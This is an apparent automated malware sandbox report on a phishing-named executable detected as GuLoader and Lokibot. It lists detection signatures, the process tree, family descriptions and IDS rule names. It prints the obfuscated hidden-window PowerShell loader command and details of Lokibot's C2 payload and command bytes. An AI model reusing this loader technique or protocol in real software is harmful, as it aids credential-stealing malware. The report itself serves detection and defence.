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Windows Analysis Report
RFQ-SulselBarruII2-COALCOMMLDOC.exe

Overview

General Information

Sample name:RFQ-SulselBarruII2-COALCOMMLDOC.exe
Analysis ID:1419146
MD5:90fda5c072fe00e8e737606add7f1276
SHA1:68752dce786a29b815ec5454d4b4aa5f6bc73363
SHA256:c384d26e83f585fbadd73e6cea441d1479d68de5bb647f775b506e5eab7f3230
Tags:exeLoki
Infos:

Detection

GuLoader, Lokibot
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected GuLoader
Yara detected Lokibot
Initial sample is a PE file and has a suspicious name
Obfuscated command line found
Powershell drops PE file
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Dosfuscation Activity
Sleep loop found (likely to delay execution)
Tries to load missing DLLs
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

  • System is w10x64
  • RFQ-SulselBarruII2-COALCOMMLDOC.exe (PID: 6744 cmdline: "C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe" MD5: 90FDA5C072FE00E8E737606ADD7F1276)
    • powershell.exe (PID: 5688 cmdline: "powershell.exe" -windowstyle hidden "$Harish116=Get-Content 'C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\Unmeringued.Brd';$Omkldningsrums=$Harish116.SubString(61425,3);.$Omkldningsrums($Harish116)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 1104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7200 cmdline: "C:\Windows\system32\cmd.exe" /c "set /A 1^^0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • wab.exe (PID: 7448 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7456 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7464 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7472 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7480 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7488 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7496 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7504 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7512 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7520 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • wab.exe (PID: 7528 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)
      • ImagingDevices.exe (PID: 7536 cmdline: "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" MD5: 3F6F254D24C457BF33227502ED4F0988)
      • ImagingDevices.exe (PID: 7544 cmdline: "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" MD5: 3F6F254D24C457BF33227502ED4F0988)
      • ImagingDevices.exe (PID: 7552 cmdline: "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" MD5: 3F6F254D24C457BF33227502ED4F0988)
      • ImagingDevices.exe (PID: 7560 cmdline: "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" MD5: 3F6F254D24C457BF33227502ED4F0988)
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
NameDescriptionAttributionBlogpost URLsLink
Loki Password Stealer (PWS), LokiBot"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2
  • SWEED
  • The Gorgon Group
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws
No configs have been found
SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Lokibot_1Yara detected LokibotJoe Security
    SourceRuleDescriptionAuthorStrings
    00000013.00000002.2864657089.0000000003E01000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Lokibot_1Yara detected LokibotJoe Security
      00000001.00000002.1926920759.0000000008EBA000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
        Process Memory Space: ImagingDevices.exe PID: 7560JoeSecurity_Lokibot_1Yara detected LokibotJoe Security
          Process Memory Space: ImagingDevices.exe PID: 7560JoeSecurity_GuLoaderYara detected GuLoaderJoe Security

            System Summary

            barindex
            Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5688, TargetFilename: C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\RFQ-SulselBarruII2-COALCOMMLDOC.exe
            Source: Process startedAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c "set /A 1^^0", CommandLine: "C:\Windows\system32\cmd.exe" /c "set /A 1^^0", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "powershell.exe" -windowstyle hidden "$Harish116=Get-Content 'C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\Unmeringued.Brd';$Omkldningsrums=$Harish116.SubString(61425,3);.$Omkldningsrums($Harish116)", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5688, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c "set /A 1^^0", ProcessId: 7200, ProcessName: cmd.exe
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Harish116=Get-Content 'C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\Unmeringued.Brd';$Omkldningsrums=$Harish116.SubString(61425,3);.$Omkldningsrums($Harish116)", CommandLine: "powershell.exe" -windowstyle hidden "$Harish116=Get-Content 'C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\Unmeringued.Brd';$Omkldningsrums=$Harish116.SubString(61425,3);.$Omkldningsrums($Harish116)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe", ParentImage: C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe, ParentProcessId: 6744, ParentProcessName: RFQ-SulselBarruII2-COALCOMMLDOC.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Harish116=Get-Content 'C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\Unmeringued.Brd';$Omkldningsrums=$Harish116.SubString(61425,3);.$Omkldningsrums($Harish116)", ProcessId: 5688, ProcessName: powershell.exe
            Timestamp:04/03/24-06:38:05.256073
            SID:2825766
            Source Port:49789
            Destination Port:80
            Protocol:TCP
            Classtype:A Network Trojan was detected
            Timestamp:04/03/24-06:38:13.658001
            SID:2024318
            Source Port:49800
            Destination Port:80